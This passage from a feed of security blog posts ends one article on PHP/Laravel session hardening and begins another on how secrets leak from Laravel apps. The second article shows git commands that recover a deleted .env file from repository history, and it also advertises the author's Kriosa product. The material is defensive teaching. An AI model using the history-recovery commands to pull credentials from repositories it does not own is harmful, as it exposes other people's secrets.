&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Laravel the correct logout sequence is three steps:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invalidate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;regenerateToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each step matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Auth::logout()&lt;/code&gt; clears authentication state and removes the user from the session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session()-&amp;gt;invalidate()&lt;/code&gt; destroys the session and generates a new session ID&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session()-&amp;gt;regenerateToken()&lt;/code&gt; regenerates the CSRF token&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Missing any of these leaves the old session potentially exploitable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Session Security Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;session.use_only_cookies = 1&lt;/code&gt; — never accept session IDs in URLs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.use_strict_mode = 1&lt;/code&gt; — reject unrecognized session IDs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.cookie_httponly = 1&lt;/code&gt; — prevent JavaScript from reading cookies&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.cookie_secure = 1&lt;/code&gt; — HTTPS only&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session.cookie_samesite = Lax&lt;/code&gt; — CSRF protection&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;session_regenerate_id(true)&lt;/code&gt; after every successful login&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;session_regenerate_id(true)&lt;/code&gt; after every privilege change&lt;/li&gt;
&lt;li&gt;Destroy the session completely on logout not just unset variables&lt;/li&gt;
&lt;li&gt;Use database or Redis session storage in production&lt;/li&gt;
&lt;li&gt;Implement absolute session timeout for sensitive applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;'secure' =&amp;gt; true&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'http_only' =&amp;gt; true&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'encrypt' =&amp;gt; true&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'same_site' =&amp;gt; 'lax'&lt;/code&gt; in &lt;code&gt;config/session.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;database&lt;/code&gt; or &lt;code&gt;redis&lt;/code&gt; session driver in production&lt;/li&gt;
&lt;li&gt;Call all three logout methods on every logout&lt;/li&gt;
&lt;li&gt;Never build custom authentication that skips session regeneration after login&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kriosa in Production Real Applications, Real Protection
&lt;/h2&gt;

&lt;p&gt;The principles in this article are not hypothetical. Two production PHP applications are already running with Kriosa in front of them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://prooflify.freedev.app" rel="noopener noreferrer"&gt;Prooflify&lt;/a&gt;&lt;/strong&gt; — a design-proofing platform with client review workflows. Designers share work with clients, clients leave feedback, and the platform manages approval states. Every client session is a trust boundary  the wrong session in the wrong hands could expose a client's unreleased creative work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://bellefull.kesug.com" rel="noopener noreferrer"&gt;belle full&lt;/a&gt;&lt;/strong&gt; — a production PHP application for bakers, secured with Kriosa from day one. It handles customer orders, client data, and business operations for a real business where a session breach means a real person's data and livelihood are at risk.&lt;/p&gt;

&lt;p&gt;Both applications have Kriosa monitoring every incoming request before it reaches the application layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Configure your sessions correctly first. Then put Kriosa in front of your application to detect suspicious requests and behavior that your application code alone cannot see.&lt;/p&gt;

&lt;p&gt;Session attacks leave behavioral traces before they succeed requests containing session IDs in URL parameters on applications that should only use cookies, authenticated sessions appearing from unexpected locations, rapid requests cycling through session ID values that may indicate probing activity.&lt;/p&gt;

&lt;p&gt;These are behavioral signals a security monitoring layer can detect and surface before a breach occurs.&lt;/p&gt;

&lt;p&gt;Kriosa sits in front of your application and gives you visibility into suspicious requests before they reach your code with the XAI dashboard explaining exactly what was detected and why it was flagged.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="//kriosa.com/?utm_source=medium&amp;amp;utm_medium=article&amp;amp;utm_campaign=session_security_php"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-7a618ef40e39" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/file-upload-security-in-php-and-laravel-the-file-that-isnt-what-it-claims-to-be-768c920b26ac" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/path-traversal-in-php-how-escapes-your-application-d401be98239e" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/command-injection-in-php-when-exec-becomes-an-attack-surface-eac7736b7637" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-300308cc3559" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/secrets-in-laravel-why-env-is-only-the-beginning-b122df2e322e" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;Article 12: This article — session security in PHP and what most developers get wrong&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>laravel</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Secrets in Laravel — Why `.env` Is Only the Beginning</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 07 Aug 2026 13:15:01 +0000</pubDate>
      <link>https://dev.to/kriosa/secrets-in-laravel-why-env-is-only-the-beginning-322m</link>
      <guid>https://dev.to/kriosa/secrets-in-laravel-why-env-is-only-the-beginning-322m</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;br&gt;
Most developers think adding &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt; solves secret management. It doesn't.&lt;/p&gt;

&lt;p&gt;This is the eleventh article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Secrets are different from every other topic in this series. SQL injection, XSS, path traversal  those are vulnerabilities in your code. Secret leakage is a vulnerability in your process. It happens not because you wrote something wrong but because you stored, logged, or committed something in the wrong place.&lt;/p&gt;

&lt;p&gt;And unlike a code vulnerability that can be patched  an exposed secret that has been harvested by an automated scanner cannot be un-exposed. The only fix is rotation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Secrets Actually Are&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not all configuration is equal. There is a meaningful difference between configuration and secrets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration&lt;/strong&gt; controls how your application behaves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;APP_NAME&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;MyApp&lt;/span&gt;
&lt;span class="py"&gt;APP_URL&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;https://myapp.com&lt;/span&gt;
&lt;span class="py"&gt;MAIL_MAILER&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;smtp&lt;/span&gt;
&lt;span class="py"&gt;DB_HOST&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Secrets&lt;/strong&gt; grant access to systems, services, or data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;supersecretpassword&lt;/span&gt;
&lt;span class="py"&gt;STRIPE_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_live_abc123&lt;/span&gt;
&lt;span class="py"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;wJalrXUtnFEMI&lt;/span&gt;
&lt;span class="py"&gt;MAIL_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;mypassword&lt;/span&gt;
&lt;span class="py"&gt;APP_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;base64:abc123...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Configuration can often be committed to version control. Secrets should never be. The distinction matters because secrets require fundamentally different handling  different storage, different access controls, and a rotation plan for when they are compromised.&lt;/p&gt;

&lt;p&gt;Most Laravel developers put both in &lt;code&gt;.env&lt;/code&gt; and add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt;. That solves one problem. It leaves five others untouched.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Secrets Actually Leak&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During internal testing of Kriosa, automated scanners were repeatedly observed probing for exposed &lt;code&gt;.env&lt;/code&gt; files, backup archives, and forgotten configuration endpoints. Those reconnaissance requests happen long before an attacker attempts exploitation which is why secret exposure should be treated as both a prevention and a detection problem, not just a deployment concern.&lt;/p&gt;

&lt;p&gt;Here is every vector through which secrets leave applications in practice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 1 — Git History&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A developer accidentally commits &lt;code&gt;.env&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git add &lt;span class="nb"&gt;.&lt;/span&gt;
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"initial commit"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They realize the mistake and delete the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nb"&gt;rm&lt;/span&gt; .env
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"remove env file"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They think the problem is solved. It is not.&lt;/p&gt;

&lt;p&gt;Git is designed to never lose history. The &lt;code&gt;.env&lt;/code&gt; file and every secret it contained are permanently stored in the Git object database. Anyone with access to the repository can retrieve them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--full-history&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; .env
git show &lt;span class="o"&gt;[&lt;/span&gt;commit-hash]:.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every secret that was ever in that file is recoverable  even after deletion — unless the entire Git history is rewritten with a tool like &lt;code&gt;git filter-repo&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Automated tools scan public GitHub repositories continuously looking for accidentally committed secrets. Within minutes of a secret being pushed to a public repository it has likely been harvested.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to do:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt; before the first commit  not after&lt;/li&gt;
&lt;li&gt;If secrets were committed use &lt;code&gt;git filter-repo&lt;/code&gt; to rewrite history&lt;/li&gt;
&lt;li&gt;Immediately rotate every secret that was ever in the committed file&lt;/li&gt;
&lt;li&gt;Never assume deletion from Git removes the data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 2 — Log Files&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel logs requests, errors, and debug information. If your application logs user input or request data  and many do  secrets can end up in log files in plain text.&lt;/p&gt;

&lt;p&gt;Common patterns that cause secret leakage into logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Logs everything — including Authorization headers and API keys&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Incoming request'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="c1"&gt;// Logs the full exception context — may include secrets in memory&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Payment failed'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'data'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()]);&lt;/span&gt;

&lt;span class="c1"&gt;// Logs API responses that may contain tokens&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'API response'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'response'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$apiResponse&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a user submits a form with a field named &lt;code&gt;api_key&lt;/code&gt; and you log &lt;code&gt;$request-&amp;gt;all()&lt;/code&gt; that key is now in your log file in plain text.&lt;/p&gt;

&lt;p&gt;Laravel provides a way to prevent specific fields from appearing in logs through the exception handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Exceptions/Handler.php — Laravel 10 and earlier&lt;/span&gt;
&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$dontFlash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'current_password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password_confirmation'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Laravel does not automatically hide custom fields like &lt;code&gt;api_key&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, or &lt;code&gt;stripe_key&lt;/code&gt;. If your application accepts them extend the &lt;code&gt;$dontFlash&lt;/code&gt; array or explicitly avoid logging those values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$dontFlash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'current_password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password_confirmation'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'api_key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'secret'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'stripe_key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'aws_key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add every secret field name your application uses to this list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 3 — Debug Mode and Error Pages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;APP_DEBUG=true&lt;/code&gt; in production, Laravel's error pages can expose sensitive configuration values, stack traces, file paths, and application internals. Depending on the error and configuration, this may include secrets or values derived from your environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;APP_DEBUG&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false  ← non-negotiable in production&lt;/span&gt;
&lt;span class="py"&gt;APP_ENV&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;production&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even with debug mode off, verbose error handling can expose secrets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Stack traces may contain secret values that were in memory at the point of failure&lt;/span&gt;
&lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getTrace&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log the message. Be careful with the full trace when secrets may be in scope at the point of failure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 4 — Hardcoded Secrets in Code&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Developers sometimes hardcode secrets directly in code during development and forget to move them to environment variables before committing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — committed to version control, visible to every developer&lt;/span&gt;
&lt;span class="nv"&gt;$stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StripeClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sk_live_abc123def456'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — loaded from config&lt;/span&gt;
&lt;span class="nv"&gt;$stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StripeClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'services.stripe.secret'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hardcoded secrets are committed to version control, stored in deployment artifacts, visible in code reviews, and accessible to every developer with repository access. They are also the hardest to rotate because you have to find every place the secret appears in the codebase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leak Vector 5 — Third-Party Logging Services&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many Laravel applications send logs to third-party services  Papertrail, Loggly, Datadog, Sentry. If secrets appear in your application logs they appear in these services too with their own retention policies, access controls, and security posture that you do not fully control.&lt;/p&gt;

&lt;p&gt;If you send logs to a third-party service audit what is in those logs. Secrets that appear there need to be rotated and the logging configuration needs to be fixed before the rotation has any meaningful effect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel-Specific Secret Management&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The APP_KEY&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel's &lt;code&gt;APP_KEY&lt;/code&gt; is the most sensitive secret in a Laravel application. It is used to encrypt cookies, session data, and model fields encrypted with Laravel's encryption.&lt;/p&gt;

&lt;p&gt;If your &lt;code&gt;APP_KEY&lt;/code&gt; is compromised an attacker can decrypt all encrypted session data, forge signed cookies, and decrypt any fields encrypted with Laravel's encryption. Rotate it immediately if it is ever exposed  but be aware that rotating the &lt;code&gt;APP_KEY&lt;/code&gt; invalidates all existing sessions and encrypted data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Generate a new APP_KEY&lt;/span&gt;
php artisan key:generate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Using config() instead of env() directly&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is a Laravel best practice that most developers miss:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — does not work correctly when config is cached&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'STRIPE_SECRET_KEY'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Correct — works with config caching&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'services.stripe.secret'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once configuration is cached with &lt;code&gt;php artisan config:cache&lt;/code&gt;, you should only call &lt;code&gt;env()&lt;/code&gt; from configuration files. Application code should access configuration through &lt;code&gt;config()&lt;/code&gt;, ensuring values continue to work correctly when configuration is cached.&lt;/p&gt;

&lt;p&gt;Define secrets in config files:&lt;br&gt;
